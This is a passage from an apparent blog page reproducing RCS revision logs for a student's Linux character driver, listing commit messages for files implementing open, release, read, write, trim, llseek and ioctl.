date: 2014/12/11 11:41:51; author: root; state: Exp; lines: +1 -1
done triming
—————————-
revision 1.27
date: 2014/12/11 11:39:50; author: root; state: Exp; lines: +5 -2
*** empty log message ***
—————————-
revision 1.26
date: 2014/12/11 11:36:55; author: root; state: Exp; lines: +2 -2
testing
—————————-
revision 1.25
date: 2014/12/11 11:33:18; author: root; state: Exp; lines: +3 -0
testing
—————————-
revision 1.24
date: 2014/12/11 11:29:04; author: root; state: Exp; lines: +24 -6
free all the valid quantum one by one in reverse order
—————————-
revision 1.23
date: 2014/12/11 10:38:20; author: root; state: Exp; lines: +1 -1
finding last valid quantum in last scullqset
—————————-
revision 1.22
date: 2014/12/11 10:32:57; author: root; state: Exp; lines: +12 -31
find the last and second last scullqset
—————————-
revision 1.21
date: 2014/12/09 06:23:53; author: root; state: Exp; lines: +15 -2
put all the printk statement inside #ifdefine DEBUG
—————————-
revision 1.20
date: 2014/12/08 10:27:41; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.19
date: 2014/12/08 10:25:07; author: root; state: Exp; lines: +18 -4
free the second last scullqset
—————————-
revision 1.18
date: 2014/12/08 10:11:36; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.17
date: 2014/12/08 10:05:26; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.16
date: 2014/12/08 10:03:50; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.15
date: 2014/12/08 10:02:40; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.14
date: 2014/12/08 09:23:59; author: root; state: Exp; lines: +4 -4
*** empty log message ***
—————————-
revision 1.13
date: 2014/12/08 09:21:22; author: root; state: Exp; lines: +5 -3
*** empty log message ***
—————————-
revision 1.12
date: 2014/12/08 08:28:30; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/08 07:40:11; author: root; state: Exp; lines: +11 -7
calculate the no of quantum in last qset and free their memory
—————————-
revision 1.10
date: 2014/12/08 07:25:47; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.9
date: 2014/12/08 07:01:39; author: root; state: Exp; lines: +4 -3
print lv inside the trim
—————————-
revision 1.8
date: 2014/12/08 06:49:41; author: root; state: Exp; lines: +15 -16
*** empty log message ***
—————————-
revision 1.7
date: 2014/12/08 06:40:04; author: root; state: Exp; lines: +18 -0
reach at the last scullqset and free the memory of all quantam of last scullqset
—————————-
revision 1.6
date: 2014/12/01 14:30:34; author: root; state: Exp; lines: +0 -2
omit OUT lable as not use yet
—————————-
revision 1.5
date: 2014/12/01 11:27:33; author: root; state: Exp; lines: +0 -1
testing
—————————-
revision 1.4
date: 2014/12/01 11:26:05; author: root; state: Exp; lines: +2 -2
testing
—————————-
revision 1.3
date: 2014/12/01 11:13:05; author: root; state: Exp; lines: +2 -2
chage the formal argument type from ScullQset to ScullDev
—————————-
revision 1.2
date: 2014/12/01 10:51:30; author: root; state: Exp; lines: +2 -0
print begin and end of function
—————————-
revision 1.1
date: 2014/12/01 10:43:11; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: RCS/application.c,v
Working file: application.c
head: 1.33
branch:
locks: strict
root: 1.33
access list:
symbolic names:
keyword substitution: kv
total revisions: 33; selected revisions: 33
description:
This is our application file
It open the node in write only mode
—————————-
revision 1.33 locked by: root;
date: 2014/12/19 10:50:57; author: root; state: Exp; lines: +5 -0
*** empty log message ***
—————————-
revision 1.32
date: 2014/12/19 09:58:06; author: root; state: Exp; lines: +4 -9
*** empty log message ***
—————————-
revision 1.31
date: 2014/12/19 09:42:25; author: root; state: Exp; lines: +9 -5
give SET_Q command through ioctl
—————————-
revision 1.30
date: 2014/12/19 08:03:54; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.29
date: 2014/12/19 08:01:58; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.28
date: 2014/12/19 07:58:01; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.27
date: 2014/12/19 07:54:22; author: root; state: Exp; lines: +13 -4
give the command using ioctl
—————————-
revision 1.26
date: 2014/12/12 11:15:42; author: root; state: Exp; lines: +3 -1
call the lseek to change the position in file
—————————-
revision 1.25
date: 2014/12/12 08:33:11; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.24
date: 2014/12/12 08:31:39; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.23
date: 2014/12/12 08:30:00; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.22
date: 2014/12/12 08:28:48; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.21
date: 2014/12/12 08:26:19; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.20
date: 2014/12/11 12:05:39; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.19
date: 2014/12/11 11:56:26; author: root; state: Exp; lines: +3 -2
*** empty log message ***
—————————-
revision 1.18
date: 2014/12/11 08:30:15; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.17
date: 2014/12/11 07:15:04; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.16
date: 2014/12/11 07:13:54; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.15
date: 2014/12/11 06:31:26; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.14
date: 2014/12/11 06:28:18; author: root; state: Exp; lines: +2 -0
*** empty log message ***
—————————-
revision 1.13
date: 2014/12/09 07:19:06; author: root; state: Exp; lines: +5 -3
print the return value of write and read
—————————-
revision 1.12
date: 2014/12/08 10:05:24; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/08 09:48:44; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.10
date: 2014/12/08 07:25:37; author: root; state: Exp; lines: +1 -1
write more no. of byte
—————————-
revision 1.9
date: 2014/12/05 10:57:38; author: root; state: Exp; lines: +2 -1
read some byte
—————————-
revision 1.8
date: 2014/12/05 09:48:21; author: root; state: Exp; lines: +3 -3
write some no of byte
—————————-
revision 1.7
date: 2014/12/04 10:33:46; author: root; state: Exp; lines: +2 -2
aomit divide by 8 while calculating no of scullqset
—————————-
revision 1.6
date: 2014/12/04 08:32:25; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.5
date: 2014/12/04 08:26:13; author: root; state: Exp; lines: +1 -1
testing
—————————-
revision 1.4
date: 2014/12/04 08:23:47; author: root; state: Exp; lines: +1 -1
testing
—————————-
revision 1.3
date: 2014/12/04 07:20:45; author: root; state: Exp; lines: +16 -4
implement write operation and close fd
open node in read mode and read some byte
close the read fd
—————————-
revision 1.2
date: 2014/12/01 06:46:24; author: root; state: Exp; lines: +1 -1
testing
—————————-
revision 1.1
date: 2014/12/01 06:28:18; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: RCS/dev_llseek.c,v
Working file: dev_llseek.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
this llseek file
—————————-
revision 1.1 locked by: root;
date: 2014/12/13 10:50:06; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: RCS/dev_ioctl.c,v
Working file: dev_ioctl.c
head: 1.6
branch:
locks: strict
root: 1.6
access list:
symbolic names:
keyword substitution: kv
total revisions: 6; selected revisions: 6
description:
This is our ioctl routine
—————————-
revision 1.6 locked by: root;
date: 2014/12/19 10:50:59; author: root; state: Exp; lines: +4 -2
*** empty log message ***
—————————-
revision 1.5
date: 2014/12/19 09:58:14; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/19 09:42:49; author: root; state: Exp; lines: +7 -0
*** empty log message ***
—————————-
revision 1.3
date: 2014/12/19 08:05:19; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.2
date: 2014/12/19 07:58:04; author: root; state: Exp; lines: +7 -0
include begin, end printk statement
—————————-
revision 1.1
date: 2014/12/19 07:54:46; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Character Driver | Leave a comment

rlog of header.h,file_oper.h,ioctl.h,init.c,exit.c, in character driver(till ioctl)

RCS file: RCS/header.h,v
Working file: header.h
head: 1.17
branch:
locks: strict
root: 1.17
access list:
symbolic names:
keyword substitution: kv
total revisions: 17;    selected revisions: 17
description:
This is main header file
All the required header file are include here

revision 1.16
date: 2014/12/19 07:52:35;  author: root;  state: Exp;  lines: +4 -1
include ioctl.h
—————————-
revision 1.15
date: 2014/12/13 09:28:18;  author: root;  state: Exp;  lines: +1 -1
include semaphore.h
—————————-
.
.
.
revision 1.3
date: 2014/11/25 17:31:08;  author: root;  state: Exp;  lines: +7 -0
define MINOR_NO and NOD macro
—————————-
revision 1.2
date: 2014/11/24 09:56:10;  author: root;  state: Exp;  lines: +1 -0
include linux/fs.h
—————————-
revision 1.1
date: 2014/11/23 10:35:10;  author: root;  state: Exp;
Initial revision
=============================================================================
RCS file: RCS/file_oper.h,v
Working file: file_oper.h
head: 1.5
branch:
locks: strict
root: 1.5
access list:
symbolic names:
keyword substitution: kv
total revisions: 5; selected revisions: 5
description:
this is file_operation file where we will map our file related routine
—————————-
revision 1.5 locked by: root;
date: 2014/12/19 07:53:18; author: root; state: Exp; lines: +2 -1
mapped the unlocked_ioctl with our routine “dev_ioctl”
—————————-
.
.
.
revision 1.2
date: 2014/12/01 08:36:49; author: root; state: Exp; lines: +8 -2
mapped the open call to our routine(dev_open)
mapped the release(close) call to our routine
—————————-
revision 1.1
date: 2014/12/01 07:00:53; author: root; state: Exp;
Initial revision
=======================================================================

RCS file: RCS/declaration.h,v
Working file: declaration.h
head: 1.26
branch:
locks: strict
root: 1.26
access list:
symbolic names:
keyword substitution: kv
total revisions: 26; selected revisions: 26
description:
this is Declaration file where prototype of function will be given
—————————-
revision 1.26 locked by: root;
date: 2014/12/19 07:52:49; author: root; state: Exp; lines: +1 -0
gave the prototype for dev_ioctl()
—————————-
revision 1.25
date: 2014/12/13 09:28:32; author: root; state: Exp; lines: +1 -0
declare variable ‘sem’ of type struct semaphore inside struct Sculldev
—————————-
revision 1.24
date: 2014/12/12 11:15:16; author: root; state: Exp; lines: +2 -0
gave the prototype for dev_llseek()

.
.
revision 1.3
date: 2014/11/24 08:22:02; author: root; state: Exp; lines: +2 -2
make the initialization_func extern
—————————-
revision 1.2
date: 2014/11/24 07:30:42; author: root; state: Exp; lines: +2 -2
omit the word extern from the function declaration
—————————-
revision 1.1
date: 2014/11/23 10:35:57; author: root; state: Exp;
Initial revision
==================================================================
RCS file: RCS/init.c,v
Working file: init.c
head: 1.33
branch:
locks: strict
root: 1.31
access list:
symbolic names:
keyword substitution: kv
total revisions: 31; selected revisions: 31
description:
this is intialiazation file
module_init is used here
—————————-

revision 1.31
date: 2014/12/13 09:29:20; author: root; state: Exp; lines: +2 -0
implement sema_init() after cdev_init()
—————————-
revision 1.30
date: 2014/12/09 06:23:09; author: root; state: Exp; lines: +23 -0
put all the printk statement inside #ifdefine DEBUG
—————————-
.
.
.
revision 1.3
date: 2014/11/24 07:31:24; author: root; state: Exp; lines: +2 -2
make initialization and cleanup function static
—————————-
revision 1.2
date: 2014/11/24 07:16:36; author: root; state: Exp; lines: +5 -0
define the exit function in the init file as not getting the desire output
—————————-
revision 1.1
date: 2014/11/23 10:36:49; author: root; state: Exp;
Initial revision
========================================================
RCS file: RCS/exit.c,v
Working file: exit.c
head: 1.13

total revisions: 13; selected revisions: 13
description:
this is cleanup file
—————————-
revision 1.13 locked by: root;
date: 2014/12/09 06:23:37; author: root; state: Exp; lines: +10 -0
put all the printk statement inside #ifdefine DEBUG
—–
revision 1.11
date: 2014/12/01 08:48:56; author: root; state: Exp; lines: +2 -0
print begin and end of function
—————————-
revision 1.10
date: 2014/11/29 10:45:27; author: root; state: Exp; lines: +3 -1
delete all the device using cdev_del
—————————-
.
.
.
revision 1.2
date: 2014/11/24 08:24:38; author: root; state: Exp; lines: +1 -1
put \n at the end of printk statement
—————————-
revision 1.1
date: 2014/11/23 10:37:26; author: root; state: Exp;
Initial revision

Posted in Character Driver | Leave a comment

character driver with open,release,read,write and trim

RCS file: ./header.h,v
Working file: ./header.h
head: 1.17
branch:
locks: strict
root: 1.17
access list:
symbolic names:
keyword substitution: kv
total revisions: 17; selected revisions: 17
description:
header file
—————————-
revision 1.17 locked by: root;
date: 2014/12/05 10:54:41; author: root; state: Exp; lines: +1 -0
include uaccess.h for copy to user
—————————-
revision 1.16
date: 2014/12/04 18:15:52; author: root; state: Exp; lines: +2 -0
define macro for quantumsize and qset size
—————————-
revision 1.15
date: 2014/11/29 18:35:39; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.14
date: 2014/11/28 05:13:40; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.13
date: 2014/11/28 05:13:08; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.12
date: 2014/11/28 05:12:04; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.11
date: 2014/11/28 04:57:06; author: root; state: Exp; lines: +2 -2
use printk by uncomment DEBUG macro
—————————-
revision 1.10
date: 2014/11/28 04:56:32; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.9
date: 2014/11/28 04:51:30; author: root; state: Exp; lines: +3 -0
use DEBUG macro
—————————-
revision 1.8
date: 2014/11/28 04:04:17; author: root; state: Exp; lines: +1 -0
include cdev.h
—————————-
revision 1.7
date: 2014/11/27 03:42:53; author: root; state: Exp; lines: +2 -3
inlclude kdev_t.h header file
—————————-
revision 1.6
date: 2014/11/27 01:06:28; author: root; state: Exp; lines: +1 -0
included slab.h to use kmalloc()
—————————-
revision 1.5
date: 2014/11/26 22:45:29; author: root; state: Exp; lines: +7 -4
define the macro name(NOD as number of device,FIRSTMIN as first minor number,DRI_NAME as driver name)
—————————-
revision 1.4
date: 2014/11/26 20:51:01; author: root; state: Exp; lines: +2 -1
define macro in ifndef condition
—————————-
revision 1.3
date: 2014/11/25 16:09:41; author: root; state: Exp; lines: +1 -1
include module.h
—————————-
revision 1.2
date: 2014/11/25 16:03:34; author: root; state: Exp; lines: +5 -2
include kernel.h init.h fs.h header file and define Macro for major no in condition
—————————-
revision 1.1
date: 2014/11/25 15:59:38; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./declaration.h,v
Working file: ./declaration.h
head: 1.25
branch:
locks: strict
root: 1.25
access list:
symbolic names:
keyword substitution: kv
total revisions: 25; selected revisions: 25
description:
declaration file
—————————-
revision 1.25 locked by: root;
date: 2014/12/10 03:34:32; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.24
date: 2014/12/09 05:28:15; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.23
date: 2014/12/09 03:48:32; author: root; state: Exp; lines: +1 -1
change prototype of loaddata function according to nobtw and nobsw
—————————-
revision 1.22
date: 2014/12/09 01:05:50; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.21
date: 2014/12/09 00:28:50; author: root; state: Exp; lines: +3 -3
change memory allocation method to scullqset,qset array and quantum
—————————-
revision 1.20
date: 2014/12/05 10:54:41; author: root; state: Exp; lines: +3 -3
change prototype for all function
—————————-
revision 1.19
date: 2014/12/05 10:19:40; author: root; state: Exp; lines: +2 -1
gave prototype for the ceatequantum fuction
—————————-
revision 1.18
date: 2014/12/05 07:52:55; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.17
date: 2014/12/05 07:34:20; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.16
date: 2014/12/05 07:01:10; author: root; state: Exp; lines: +1 -0
change the prototype of createqset()
—————————-
revision 1.15
date: 2014/12/04 22:21:50; author: root; state: Exp; lines: +2 -2
change return type of create scullqset function
—————————-
revision 1.14
date: 2014/12/04 18:15:52; author: root; state: Exp; lines: +3 -0
declare quantum sie ans qsetsize as a extern variable
—————————-
revision 1.13
date: 2014/12/04 06:21:24; author: root; state: Exp; lines: +2 -0
gave prototype of open,release,write and read functions
—————————-
revision 1.12
date: 2014/12/01 08:00:42; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/01 07:46:01; author: root; state: Exp; lines: +1 -0
gave the prototype for open_dev file used for define own open routine
—————————-
revision 1.10
date: 2014/11/29 18:35:40; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.9
date: 2014/11/29 04:56:27; author: root; state: Exp; lines: +8 -4
remove declaration for c_dev
declare cdev structure in sculldev structure
—————————-
revision 1.8
date: 2014/11/28 04:04:29; author: root; state: Exp; lines: +1 -0
declare a extern variable of struct cdev type
—————————-
revision 1.7
date: 2014/11/28 03:41:04; author: root; state: Exp; lines: +2 -3
*** empty log message ***
—————————-
revision 1.6
date: 2014/11/27 03:43:07; author: root; state: Exp; lines: +2 -0
define a variable dev_new for MKDEV()
—————————-
revision 1.5
date: 2014/11/27 01:06:54; author: root; state: Exp; lines: +10 -0
declare sculldev and scullqset structure to mapping the device memory
—————————-
revision 1.4
date: 2014/11/26 22:47:05; author: root; state: Exp; lines: +1 -0
declare the extern dev_t dev
—————————-
revision 1.3
date: 2014/11/26 20:51:32; author: root; state: Exp; lines: +3 -0
declare major no and initiailzation function prototype.
—————————-
revision 1.2
date: 2014/11/25 16:21:38; author: root; state: Exp; lines: +1 -1
define mudule license as GPL and gave the author name
—————————-
revision 1.1
date: 2014/11/25 15:59:38; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./init.c,v
Working file: ./init.c
head: 1.29
branch:
locks: strict
root: 1.29
access list:
symbolic names:
keyword substitution: kv
total revisions: 29; selected revisions: 29
description:
moudle initialization function
—————————-
revision 1.29 locked by: root;
date: 2014/12/04 18:15:52; author: root; state: Exp; lines: +4 -2
initialize the value of quantumsize and qset size
—————————-
revision 1.28
date: 2014/12/04 06:27:14; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.27
date: 2014/12/04 06:21:24; author: root; state: Exp; lines: +14 -2
*** empty log message ***
—————————-
revision 1.26
date: 2014/12/01 06:52:09; author: root; state: Exp; lines: +2 -1
comment fileoperation variable
—————————-
revision 1.25
date: 2014/12/01 06:26:22; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.24
date: 2014/11/29 18:35:36; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.23
date: 2014/11/29 18:19:51; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.22
date: 2014/11/29 18:17:16; author: root; state: Exp; lines: +5 -2
prints owner name using THIS_MODULE
—————————-
revision 1.21
date: 2014/11/29 06:31:44; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.20
date: 2014/11/29 05:23:28; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.19
date: 2014/11/29 05:19:03; author: root; state: Exp; lines: +15 -14
initialize and add cdev structure for more than one devices.
prints majorno and minor no for each devices
—————————-
revision 1.18
date: 2014/11/29 04:55:22; author: root; state: Exp; lines: +10 -13
do some modification for sculldev variable
—————————-
revision 1.17
date: 2014/11/28 05:20:36; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.16
date: 2014/11/28 05:10:58; author: root; state: Exp; lines: +6 -0
use __func__ to know the sequence of function execution by the kernel.
—————————-
revision 1.15
date: 2014/11/28 04:56:24; author: root; state: Exp; lines: +6 -6
*** empty log message ***
—————————-
revision 1.14
date: 2014/11/28 04:54:19; author: root; state: Exp; lines: +6 -6
*** empty log message ***
—————————-
revision 1.13
date: 2014/11/28 04:49:38; author: root; state: Exp; lines: +6 -0
use DEBUG macro in #ifdef condition to get the choice whether printk msgs prints or not.
—————————-
revision 1.12
date: 2014/11/28 04:24:48; author: root; state: Exp; lines: +2 -0
initialize cdev structure using cdev_init()
add cdev structure using cdev_add()
—————————-
revision 1.11
date: 2014/11/28 04:01:52; author: root; state: Exp; lines: +9 -10
take a variable c_dev of struct cdev type
initialize dev and *ops element of the structure cdev
—————————-
revision 1.10
date: 2014/11/28 03:39:31; author: root; state: Exp; lines: +20 -21
define module_param() to get nod value at run time
—————————-
revision 1.9
date: 2014/11/27 03:41:49; author: root; state: Exp; lines: +6 -1
include kdev_t.h header file
—————————-
revision 1.8
date: 2014/11/27 01:13:58; author: root; state: Exp; lines: +1 -0
use memset to fill the scull with null bytes as there should not be garbage bytes in scull storage because ther is a chance that garbage bytes may become a address to a unknown pointer which cause unexpected behaviour of the device.
—————————-
revision 1.7
date: 2014/11/27 01:04:31; author: root; state: Exp; lines: +17 -4
allocate memory for sculldev using kmalloc()
—————————-
revision 1.6
date: 2014/11/26 23:15:10; author: root; state: Exp; lines: +2 -2
rearrange the position of MINOR and MAJOR macro
—————————-
revision 1.5
date: 2014/11/26 23:08:06; author: root; state: Exp; lines: +4 -4
use macro MAJOR and MINOR to extract majorno and mior number from the dev variable
—————————-
revision 1.4
date: 2014/11/26 22:42:27; author: root; state: Exp; lines: +11 -6
define alloc _chrdev_region for register the device with major number and minor number
—————————-
revision 1.3
date: 2014/11/26 20:49:16; author: root; state: Exp; lines: +8 -2
define initialization function
—————————-
revision 1.2
date: 2014/11/25 16:13:12; author: root; state: Exp; lines: +1 -1
define module_init function
use printk statement to print mesg in kernel buffer
register device using register_chrdev function
extern major number
—————————-
revision 1.1
date: 2014/11/25 15:59:38; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./open.c,v
Working file: ./open.c
head: 1.9
branch:
locks: strict
root: 1.9
access list:
symbolic names:
keyword substitution: kv
total revisions: 9; selected revisions: 9
description:
this is open function mapped on open system call
—————————-
revision 1.9 locked by: root;
date: 2014/12/10 03:34:32; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.8
date: 2014/12/09 05:37:24; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.7
date: 2014/12/09 05:35:02; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.6
date: 2014/12/09 05:32:21; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.5
date: 2014/12/09 05:30:53; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/09 05:28:15; author: root; state: Exp; lines: +2 -0
call trim function by applying condition
—————————-
revision 1.3
date: 2014/12/04 16:50:55; author: root; state: Exp; lines: +1 -1
declare variable at the start of the open function
—————————-
revision 1.2
date: 2014/12/04 05:01:24; author: root; state: Exp; lines: +6 -0
Implement our own open function by passing pointer of struct file and struct inode
implement container_of() to get the memory location of the device present out of the sytem
—————————-
revision 1.1
date: 2014/12/04 05:00:07; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./release.c,v
Working file: ./release.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
This is release function mapped on release system call
—————————-
revision 1.2 locked by: root;
date: 2014/12/04 05:05:47; author: root; state: Exp; lines: +1 -2
Implement our own release function by passing arguments of struct file pointer and struct inode pointer
—————————-
revision 1.1
date: 2014/12/04 05:00:22; author: root; state: Exp;
Initial revision
RCS file: ./read.c,v
Working file: ./read.c
head: 1.49
branch:
locks: strict
root: 1.49
access list:
symbolic names:
keyword substitution: kv
total revisions: 49; selected revisions: 49
description:
This is read file mapped on read system call
—————————-
revision 1.49 locked by: root;
date: 2014/12/09 05:07:31; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.48
date: 2014/12/09 04:26:06; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.47
date: 2014/12/09 04:20:29; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.46
date: 2014/12/09 04:13:51; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.45
date: 2014/12/09 04:07:28; author: root; state: Exp; lines: +8 -3
*** empty log message ***
—————————-
revision 1.44
date: 2014/12/09 01:40:08; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.43
date: 2014/12/09 01:34:25; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.42
date: 2014/12/09 01:30:23; author: root; state: Exp; lines: +1 -1
,
—————————-
revision 1.41
date: 2014/12/09 01:28:53; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.40
date: 2014/12/09 01:27:29; author: root; state: Exp; lines: +2 -1
*** empty log message ***
—————————-
revision 1.39
date: 2014/12/09 01:23:13; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.38
date: 2014/12/09 01:22:29; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.37
date: 2014/12/09 01:20:43; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.36
date: 2014/12/09 01:20:10; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.35
date: 2014/12/09 01:19:38; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.34
date: 2014/12/09 01:11:44; author: root; state: Exp; lines: +6 -8
print data by application by using copy_to_user
—————————-
revision 1.33
date: 2014/12/09 00:32:06; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.32
date: 2014/12/09 00:28:50; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.31
date: 2014/12/08 20:10:55; author: root; state: Exp; lines: +3 -3
print the address of first quantum to cross check
—————————-
revision 1.30
date: 2014/12/07 02:51:58; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.29
date: 2014/12/06 23:34:53; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.28
date: 2014/12/06 23:32:23; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.27
date: 2014/12/06 23:25:23; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.26
date: 2014/12/06 23:22:01; author: root; state: Exp; lines: +3 -2
*** empty log message ***
—————————-
revision 1.25
date: 2014/12/06 05:56:06; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.24
date: 2014/12/06 05:55:30; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.23
date: 2014/12/06 05:54:15; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.22
date: 2014/12/06 05:53:46; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.21
date: 2014/12/06 05:52:23; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.20
date: 2014/12/06 05:51:09; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.19
date: 2014/12/06 05:45:11; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.18
date: 2014/12/06 05:44:27; author: root; state: Exp; lines: +7 -6
*** empty log message ***
—————————-
revision 1.17
date: 2014/12/06 05:38:04; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.16
date: 2014/12/06 05:37:33; author: root; state: Exp; lines: +7 -7
*** empty log message ***
—————————-
revision 1.15
date: 2014/12/06 05:32:21; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.14
date: 2014/12/06 05:31:13; author: root; state: Exp; lines: +6 -6
*** empty log message ***
—————————-
revision 1.13
date: 2014/12/06 05:28:31; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.12
date: 2014/12/06 05:26:53; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/06 05:26:07; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.10
date: 2014/12/06 05:23:45; author: root; state: Exp; lines: +7 -7
reading in application file
—————————-
revision 1.9
date: 2014/12/06 05:17:57; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.8
date: 2014/12/06 04:40:06; author: root; state: Exp; lines: +5 -5
*** empty log message ***
—————————-
revision 1.7
date: 2014/12/05 11:50:06; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.6
date: 2014/12/05 11:49:14; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.5
date: 2014/12/05 11:47:35; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/05 11:44:47; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.3
date: 2014/12/05 11:39:52; author: root; state: Exp; lines: +20 -2
use copy_to_user
—————————-
revision 1.2
date: 2014/12/04 16:55:53; author: root; state: Exp; lines: +1 -1
,
—————————-
revision 1.1
date: 2014/12/04 06:21:24; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./write.c,v
Working file: ./write.c
head: 1.46
branch:
locks: strict
root: 1.46
access list:
symbolic names:
keyword substitution: kv
total revisions: 46; selected revisions: 46
description:
This is our own write function mapped on write system call
—————————-
revision 1.46 locked by: root;
date: 2014/12/09 05:11:45; author: root; state: Exp; lines: +2 -3
*** empty log message ***
—————————-
revision 1.45
date: 2014/12/09 05:07:31; author: root; state: Exp; lines: +1 -2
*** empty log message ***
—————————-
revision 1.44
date: 2014/12/09 04:23:06; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.43
